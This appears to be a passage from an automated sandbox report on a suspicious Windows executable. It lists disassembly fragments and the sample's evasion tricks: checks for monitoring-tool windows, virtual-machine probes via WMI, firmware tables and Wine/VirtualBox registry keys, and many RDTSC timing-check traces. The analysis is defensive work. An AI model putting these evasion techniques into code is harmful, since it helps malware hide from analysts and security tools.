Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_058A5DC2 pushad ; ret	0_3_058A5FDA
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_058A5DC2 pushad ; ret	0_3_058A5FDA
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_058A5DC2 pushad ; ret	0_3_058A5FDA
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_058A5DC2 pushad ; ret	0_3_058A5FDA
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_058A097A pushad ; ret	0_3_058A0995
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_058A097A pushad ; ret	0_3_058A0995
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_058A097A pushad ; ret	0_3_058A0995
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EBD27 push FFFFFFDBh; iretd	0_3_010EBD38
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EBD27 push FFFFFFDBh; iretd	0_3_010EBD38
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EC1A5 push esi; retf	0_3_010EC1A8
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EC1A5 push esi; retf	0_3_010EC1A8
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_058A5DC2 pushad ; ret	0_3_058A5FDA
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_058A5DC2 pushad ; ret	0_3_058A5FDA
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_058A5DC2 pushad ; ret	0_3_058A5FDA
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_058A5DC2 pushad ; ret	0_3_058A5FDA
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EBD27 push FFFFFFDBh; iretd	0_3_010EBD38
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EBD27 push FFFFFFDBh; iretd	0_3_010EBD38
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EC1A5 push esi; retf	0_3_010EC1A8
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EC1A5 push esi; retf	0_3_010EC1A8
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EBD27 push FFFFFFDBh; iretd	0_3_010EBD38
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EBD27 push FFFFFFDBh; iretd	0_3_010EBD38
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EC1A5 push esi; retf	0_3_010EC1A8
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_010EC1A5 push esi; retf	0_3_010EC1A8
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Code function: 0_3_058A099C pushad ; ret	0_3_058A099D

Source: O53VxanH6A.exe

Static PE information: section name: entropy: 7.974937518106936

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\O53VxanH6A.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\O53VxanH6A.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\O53VxanH6A.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\O53VxanH6A.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\O53VxanH6A.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\O53VxanH6A.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE077E second address: CE0784 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE0784 second address: CE07AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F5959240B66h 0x00000009 jne 00007F5959240B66h 0x0000000f jmp 00007F5959240B6Eh 0x00000014 jl 00007F5959240B66h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE07AF second address: CE07C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5958F82B56h 0x0000000a jo 00007F5958F82B56h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE07C5 second address: CE07E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5959240B77h 0x00000009 jo 00007F5959240B66h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE07E7 second address: CE0810 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5958F82B60h 0x00000008 jnp 00007F5958F82B56h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F5958F82B5Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CD7E3D second address: CD7E5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5959240B66h 0x0000000a pop eax 0x0000000b jmp 00007F5959240B6Dh 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CDF7BA second address: CDF7ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F5958F82B56h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007F5958F82B65h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F5958F82B5Bh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CDF96B second address: CDF98A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5959240B72h 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CDF98A second address: CDF9B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B69h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F5958F82B56h 0x00000013 jns 00007F5958F82B56h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CDF9B7 second address: CDF9BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CDFC6F second address: CDFC88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F5958F82B56h 0x0000000d jmp 00007F5958F82B5Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CDFC88 second address: CDFCA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F5959240B66h 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CDFF1E second address: CDFF24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CDFF24 second address: CDFF28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3B22 second address: CE3B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3B27 second address: CE3B3D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5959240B6Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3B3D second address: CE3B41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3B41 second address: CE3BA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F5959240B66h 0x0000000d je 00007F5959240B66h 0x00000013 popad 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 jmp 00007F5959240B74h 0x0000001e mov eax, dword ptr [eax] 0x00000020 jmp 00007F5959240B74h 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c je 00007F5959240B66h 0x00000032 jmp 00007F5959240B6Fh 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3BDD second address: CE3BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3BE1 second address: CE3BE7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3BE7 second address: CE3C31 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F5958F82B64h 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D1F86h], edx 0x00000015 push 00000000h 0x00000017 movsx ecx, cx 0x0000001a call 00007F5958F82B59h 0x0000001f pushad 0x00000020 push eax 0x00000021 jnp 00007F5958F82B56h 0x00000027 pop eax 0x00000028 push ebx 0x00000029 push edx 0x0000002a pop edx 0x0000002b pop ebx 0x0000002c popad 0x0000002d push eax 0x0000002e jbe 00007F5958F82B5Eh 0x00000034 push ecx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3C31 second address: CE3C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3C3F second address: CE3C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3C44 second address: CE3C61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3C61 second address: CE3CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5958F82B63h 0x00000009 popad 0x0000000a pop ecx 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jmp 00007F5958F82B67h 0x00000014 pop eax 0x00000015 mov si, C6E6h 0x00000019 push 00000003h 0x0000001b mov edx, dword ptr [ebp+122D3984h] 0x00000021 push 00000000h 0x00000023 mov ecx, 14BF8A59h 0x00000028 push 00000003h 0x0000002a pushad 0x0000002b jmp 00007F5958F82B61h 0x00000030 push edx 0x00000031 call 00007F5958F82B62h 0x00000036 pop esi 0x00000037 pop ebx 0x00000038 popad 0x00000039 call 00007F5958F82B59h 0x0000003e push ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3CE1 second address: CE3CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3CE5 second address: CE3CFF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5958F82B56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F5958F82B5Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3E11 second address: CE3E74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 1E8C518Dh 0x00000010 mov dword ptr [ebp+122D2A58h], edx 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F5959240B68h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000016h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 push edi 0x00000033 movsx edx, bx 0x00000036 pop ecx 0x00000037 push 00000000h 0x00000039 mov esi, 6557FBFFh 0x0000003e push 00000003h 0x00000040 jo 00007F5959240B6Ch 0x00000046 mov esi, dword ptr [ebp+122D2C7Eh] 0x0000004c call 00007F5959240B69h 0x00000051 push ebx 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3E74 second address: CE3E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3E78 second address: CE3E7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3E7C second address: CE3E8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F5958F82B56h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3E8D second address: CE3E91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3E91 second address: CE3EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F5958F82B5Eh 0x0000000c pop ebx 0x0000000d popad 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push esi 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3EB0 second address: CE3F1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 mov eax, dword ptr [eax] 0x00000008 jc 00007F5959240B6Eh 0x0000000e jns 00007F5959240B68h 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push ebx 0x00000019 jmp 00007F5959240B71h 0x0000001e pop ebx 0x0000001f pop eax 0x00000020 lea ebx, dword ptr [ebp+1244EA08h] 0x00000026 push 00000000h 0x00000028 push ecx 0x00000029 call 00007F5959240B68h 0x0000002e pop ecx 0x0000002f mov dword ptr [esp+04h], ecx 0x00000033 add dword ptr [esp+04h], 00000017h 0x0000003b inc ecx 0x0000003c push ecx 0x0000003d ret 0x0000003e pop ecx 0x0000003f ret 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F5959240B76h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE3F8D second address: CE4008 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F5958F82B61h 0x0000000f nop 0x00000010 sbb si, 351Ch 0x00000015 push 00000000h 0x00000017 xor dword ptr [ebp+122D2673h], ebx 0x0000001d push 28C15053h 0x00000022 jmp 00007F5958F82B63h 0x00000027 xor dword ptr [esp], 28C150D3h 0x0000002e or dword ptr [ebp+122D27C3h], esi 0x00000034 push 00000003h 0x00000036 ja 00007F5958F82B5Ah 0x0000003c push 00000000h 0x0000003e mov dl, 96h 0x00000040 push 00000003h 0x00000042 mov dx, ax 0x00000045 push 91B73A58h 0x0000004a push eax 0x0000004b push edx 0x0000004c js 00007F5958F82B5Ch 0x00000052 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CE4008 second address: CE406F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5959240B70h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 51B73A58h 0x00000011 jmp 00007F5959240B79h 0x00000016 lea ebx, dword ptr [ebp+1244EA13h] 0x0000001c mov esi, dword ptr [ebp+122D39F4h] 0x00000022 xchg eax, ebx 0x00000023 push ecx 0x00000024 jnp 00007F5959240B6Ch 0x0000002a jnp 00007F5959240B66h 0x00000030 pop ecx 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F5959240B75h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D01D5F second address: D01D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D01D65 second address: D01D69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D01D69 second address: D01D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007F5958F82B7Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D02079 second address: D02098 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnc 00007F5959240B68h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D02098 second address: D020A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F5958F82B56h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D020A8 second address: D020BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5959240B72h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D02345 second address: D02366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jnl 00007F5958F82B62h 0x0000000f pop ebx 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D02499 second address: D0249D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D0249D second address: D024A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D024A3 second address: D024B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5959240B6Bh 0x00000009 jns 00007F5959240B66h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D024B8 second address: D024BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D024BC second address: D024DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5959240B78h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D028E9 second address: D02903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F5958F82B65h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CF8E9C second address: CF8EA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: CF8EA4 second address: CF8EA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D0306B second address: D03084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F5959240B70h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D03084 second address: D03088 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D03088 second address: D030A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5959240B74h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D031FC second address: D03207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D03207 second address: D0320B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D0320B second address: D0325D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5958F82B5Ah 0x00000007 jmp 00007F5958F82B62h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F5958F82B68h 0x00000015 jmp 00007F5958F82B68h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D0325D second address: D03276 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F5959240B66h 0x0000000d jmp 00007F5959240B6Ah 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D033FA second address: D03417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F5958F82B68h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\O53VxanH6A.exe	RDTSC instruction interceptor: First address: D05C01 second address: D05C0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F5959240B66h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
